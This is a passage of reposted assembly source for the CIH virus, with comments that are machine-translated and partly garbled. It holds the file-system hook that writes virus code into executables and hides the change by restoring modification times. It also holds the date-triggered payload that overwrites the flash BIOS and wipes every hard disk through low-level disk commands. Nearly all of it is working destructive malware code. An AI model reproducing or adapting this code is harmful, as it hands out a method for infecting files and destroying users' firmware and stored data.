MOV Word PTR [EAX], 20CDH; Restore form "int 20h" form

MOV EDX, (VxDCallidTable (ECX-1) * 04H- @ 9) [ESI]; Remove the ID number of VXDCallIDTable Remove the VXD call to EDXMOV [EAX 2], EDX; put it behind "INT 20H", form ' INT 20H 'and The' Service Identifier '

Movzx EDX, Byte Ptr (VxdcalladdresStable ECX-1- @ 9) [ESI]; VxDCalLaddRessTable Poor address of the address of each call VXD

Sub Eax, EDX; EAX is the last call address

Loop loopofrestorevxdcallID; restore other calls

****************************

* Let's write *

; * Virus code to the file *

****************************

WritevirusCodetofile:

MOV EAX, DR1; DR1 is the ESP saved earlier

MOV EBX, [EAX 10h]; EBX is saved in the stack handle

MOV EDI, [EAX]; EDI is the address called IFSMGR_RING0_FILEIO to save in the stack

LoopofwriteviruscodetOfile:

POP ECX; Offset of Virus Code Section

Jecxz setfilemodificationmark; to virus offset

Mov ESI, ECX

MOV EAX, 0D601H; write file function number (r0_writefile)

POP EDX; file pointer

POP ECX; number of bytes to be written

Call edi; vxdcall ifsmgr_ring0_fileio; write file

; Write in turn: Virus code, virus block table, new file block, new program entrance, infection mark

JMP loopofwriteviruscodetofile

****************************

; * Let's set cf = 1 ==> *

* NEED TO RESTORE FILE *

* Modification Time *

****************************

SetFileModificationMark:

POP EBX

POP EAX

STC; Enable Cf (Carry Flag); Setting Run Sign

Pushf; logo bit stack

**********************************************

* Close file *

**********************************************

Closefile:

XOR EAX, EAX

MOV AH, 0D7H; Close file function number

Call edi; vxdcall ifsmgr_ring0_fileio

**********************************************

; * Need to restore file model *

* Time!? *

**********************************************

POPF

POP ESI

JNC iskillComputer; CF = 0, KillComputer :-(

**********************************************

; * Restore File Modification Time *

**********************************************

MOV EBX, EDI

MOV AX, 4303H

MOV ECX, (filemodificationTime- @ 7) [ESI]

Mov Edi, (FileModificationTime 2- @ 7) [ESI]

Call ebx; vxdcall ifsmgr_ring0_fileio; modify file modification time

**********************************************

* Disable onbusy *

**********************************************

Disableonbusy:

Dec Byte Ptr (Onbusy- @ 7) [ESI]; Disable Onbus

**********************************************

; * Call Previous FileSystemapiHook *

**********************************************

Prevhook:

Popad; Restore all registers

MOV EAX, DR0; Saved original file system hook program first place

JMP [EAX]; jump to prevhook; jump to the previous hook

**********************************************

; * Call the function That the IFS *

; * Manager Would Normal Call to *

; * Implement this particular I / o *

* Request. *

**********************************************

PIFSFUNC:; FileSystemapiHookFunction parameters Parameters 2

MOV EBX, ESP; EBX points to ESP to get the parameter address of FileSystemapiHookFunction

Push DWORD PTR [EBX 20H 04H 14H]; Push Pioreq; put parameter PiOREQ PIR stack (EBX 20H 04H is the first place)

Call [EBX 20H 04H]; Call PIFSFUNC; call PIFSFUNC FSDFNADDR (FSD function address)

POP ECX;

MOV [EBX 1CH], EAX; Modify Eax Value in Stack; change EAX value (in the stack, the stack size of Pushad, 1Ch is the first stack of EAX)

****************************

; * After Calling Pifsfunc, *

* Get Some Data from the *

; * Returned pioreq. *

****************************

CMP DWORD PTR [EBX 20H 04H 04H], 00000024H; For details, please

JNE QuitmyvirusFilesystemhook

*****************

* Get the file *

* Modification *

* Date and Time *

; * in dos format. *

*****************

Mov Eax, [ECX 28h]

MOV (FileModificationTime- @ 6) [ESI], EAX; Save the available file time and date

****************************

* Quit my virus' *

; * Ifsmgr_filesystemhook *

****************************

QuitMyvirusFilesystemHook:

Popad; Restore all registers

Ret; exits from the file hook program set by the virus setting

***********************************; * KILL Computer!? ... * ^ _ ^ * *; KillComputer module (!! is very dangerous, so the principle analysis and detailed note is not announced !!)

**********************************************

IskillComputer:

Get Now Day from Bios CMOS

MOV Al, 07h

OUT 70H, Al

IN Al, 71H

XOR Al, 26h; ?? / 26 / ????; get the current date from CMOS

IF Debug

JMP Disableonbusy

Else

JNZ Disableonbusy

Endif; if it is the month's 26th, KillComputer (too dangerous). * ^ _ ^ *.

***********************************************

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

***********************************************

****************************

; * Kill Bios EEPROM *

****************************

MOV BP, 0CF8H

Lea ESI, IOFOREEPROM- @ 7 [ESI]

******************************

; * Show bios Page in *

; * 000E0000 - 000EffFF *

; * (64 kB) *

******************************

MOV EDI, 8000384CH

MOV DX, 0CFEH

CLI

Call ESI

******************************

; * Show bios Page in *

; * 000f0000 - 000ffff *

; * (64 kB) *

******************************

MOV Di, 0058H

Dec edx; and a0fh

MOV Word Ptr (Booleancalculatecode- @ 10) [ESI], 0F24H

Call ESI; **********************

; * Show the bios extra *

* ROM DATA IN MEMORY *

; * 000E0000 - 000E01FF *

; * (512 BYTES) *

; *, and the section *

; * of extra bios can *

; * be writted ... *

******************************

Lea EBX, EnableeePromTowrite- @ 10 [ESI]

MOV Eax, 0e5555h

Mov ECX, 0E2AAAH

Call EBX

MOV BYTE PTR [EAX], 60H

Push ECX

Loop $

******************************

; * Kill the bios extra *

* ROM DATA IN MEMORY *

; * 000E0000 - 000E007F *

; * (80h Bytes) *

******************************

XOR AH, AH

MOV [EAX], Al

XCHG ECX, EAX

Loop $

******************************

; * Show and enable the *

* BIOS main ROM DATA *

; * 000E0000 - 000ffff *

; * (128 kB) *

; * can be writted ... *

******************************

Mov Eax, 0F5555H

POP ECX

MOV CH, 0AAH

Call EBX

MOV Byte Ptr [EAX], 20H

Loop $

******************************

; * Kill The Bios Main *

* ROM DATA IN MEMORY *

; * 000FE000 - 000FE07F *

; * (80h Bytes) *

******************************

Mov Ah, 0E0H

MOV [EAX], Al

******************************

* Hide Bios Page In *

; * 000f0000 - 000ffff *

; * (64 kB) *

******************************

OR AL 0H

Mov Word Ptr (Booleancalculatecode- @ 10) [ESI], 100CH

Call ESI

****************************

* Kill All HardDisk *

*********************************************************** **

; * IOR STRUCTURE OF IOS_SENDCOMMAND NEEDS *

*********************************************************** **

; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ??????? *

; * 00 00 00 00 00 00 00 00 00 10 00 c0 *

; * ?? ?? ???????????????????

; * ?? ?? ???????????????????

; * ?? ????????????????????? 80??? *

*********************************************************** ** killharddisk:

XOR EBX, EBX

MOV BH, FirstkillhardDiskNumber

Push EBX

SUB ESP, 2CH

Push 0C0001000H

MOV BH, 08H

Push EBX

Push ECX

Push ECX

Push ECX

Push 40000501H

Inc ECX

Push ECX

Push ECX

MOV ESI, ESP

SUB ESP, 0ACH

Loopofkillharddisk:

INT 20H

DD 00100004H; vxdcall ios_sendcommand

CMP Word PTR [ESI 06H], 0017H

JE KillNextDataSECTION

ChangenexthardiSK:

Inc Byte PTR [ESI 4DH]

JMP loopofkillharddisk

KillNextDataSecion:

Add DWORD PTR [ESI 10H], EBX

MOV BYTE PTR [ESI 4DH], FirstkillhardDiskNumber

JMP loopofkillharddisk

****************************

* Enable EEPROM to write *

****************************

EnableeePromTowrite:

MOV [EAX], CL

MOV [ECX], Al

MOV BYTE PTR [EAX], 80H

MOV [EAX], CL

MOV [ECX], Al

RET

****************************

; * IO for EEPROM *

****************************

IOFOREPROM:

@ 10 = IOFOREPROM

XCHG Eax, EDI

XCHG EDX, EBP

OUT DX, EAX

XCHG Eax, EDI

XCHG EDX, EBP

IN Al, DX

Booleancalculatecode = $

OR Al, 44h

XCHG Eax, EDI

XCHG EDX, EBP

OUT DX, EAX

XCHG Eax, EDI

XCHG EDX, EBP

Out dx, al

RET

*********************************************************** *********

; * Static Data *

*********************************************************** *********

Lastvxdcalladdress = ifsmgr_ring0_fileio; the address of the last calling VXD

Vxdcalladdresstable db 00h

DB IFSMGR_RemoveFilesystemapiHook-_PageAllocate

DB Unitobcspath-IFSMGR_RemoveFilesystemapiHook

DB IFSMGR_RING0_FILEIO-UNITOBCSPATH; Each VXD call command address

VXDCallidTable DD 00010053H, 00400068H, 00400041H, 00400032H; VXD call number

Vxdcalltablesize = ($ -vxdcallidtable) / 04h; number of VxD calls in the program

*********************************************************** *********

; * Virus version Copyright *; *************************************************** *************

VirusversionCopyRight DB 'CiH V'; ID of CiH virus

DB MAJORVIRUSVERSION '0'; main version number

DB '.'

DB Minorvirusversion '0'; deputy version number

DB 'Tatung'; author name

*********************************************************** *********

; * Virus size *

*********************************************************** *********

Virussize = $

SizeofviruscodeSecionTablendmark (04H)

Numberofsections (??) * SizeofViruscodeSECTIONTABLE (08H)

; SizeofthefirstviruscodeSECTIONTABLE (04H); Full length of virus code

*********************************************************** *********

* Dynamic Data *

*********************************************************** *********

VirusGameDataStartaddress = Virussize

@ 6 = VirusGameDataStartAddress

Onbusy DB 0; busy sign

FileModificationTime DD?; File modification time

FileNameBuffer DB FileNameBuffersize DUP (?); 7FH long file name data area

@ 7 = filenamebuffer

DataBuffer = $

@ 8 = DataBuffer

NUMBEROFSECTIONS DW?; Number

TIMEDATESTAMP DD?; Document time

Symbolspointer DD?;

NUMBEROFSYMBOLS DD?; Symbols in the symbol table

SIZEOFOPTIONALHEADER DW?; Optional Department

_Characteristics DW?; Information logo

Magic dw?; Sign word (always 010bh)

LinkerVersion dw?; Connector version number

SIZEOFCODE DD?; Code segment size

SIZEOFINIALIZEDDATA DD?; The size of the data block has been initialized

SIZEOFUNITIALIZEDDATA DD?; Data block size is not initialized

AddressofentryPoint Dd?; Program start RVA

BaseOfcode DD?; Code segment start RVA

BaseOfData DD?; Data Section Start RVA

IMAGEBASE DD?; Load base RVA

@ 9 = $

SECTIONALIGNMENT DD?;

FileAlignment DD?; File block alignment

OPERATINGSYSTEMVERSION DD?; Required operating system version number

ImageVersion DD?; User Custom Version Number

SUBSYSTEMVERSION DD?; Required subsystem version number

RESERVED DD?;

SIZEOFIMAGE DD?;

SizeOfheaders DD?; Department first and block size

SizeOfImageTertoread = $ -Numberofsection ;;;

NewaddressofentryPoint = Database; DWORD;

SizeOfimageHeadertowrite = 04h;

STARTOFSECTIONTABLE = @ 9

SectionName = startockTable; Qword; Block Name

Virtualsize = startofsectionTable 08h; DWORD; this segment real length

VirtualAddress = StartofsectionTable 0CH; DWORD; this block's RVA

SizeOfrawData = StartofsectionTable 10h; DWORD; this block physical length

PointertorawData = StartofsectionTable 14H; DWORD; this block physical offset

PointertoreLocations = StartofsectionTable 18h; DWORD; Relocation offset

PointertolinenumBers = startofsectionTable 1CH; DWORD; offset of the line number table

Numberofrelocations = StartofsectionTable 20h; Word; Relocation item

Numberoflinennmbers = startofsectionTable 22h; Word; quotes

Characteristics = StartofsectionTable 24h; DWORD; block properties

SizeOfscetionTable = Characteristics 04h-sectionname; the length of the block entry

*********************************************************** *********

; * Virus Total NEED MEMORY *

*********************************************************** *********

VirusNeedBaseMemory = $

VirusNeedBaseMemory = $

VirustotalneedMemory = @ 9

Numberofsections (??) * SizeOfScetionTable (28H)

SizeofviruscodeSecionTablendmark (04H)

Numberofsections (??) * SizeofViruscodeSECTIONTABLE (08H)

SizeofthefirstviruscodeSECTIONTABLE (04H); Memory required for viruses (full length of virus)

*********************************************************** *********

*********************************************************** *********

Virusgame ends

End FileHeader

转载请注明原文地址:https://www.9cbs.com/read-37768.html

New Post(0)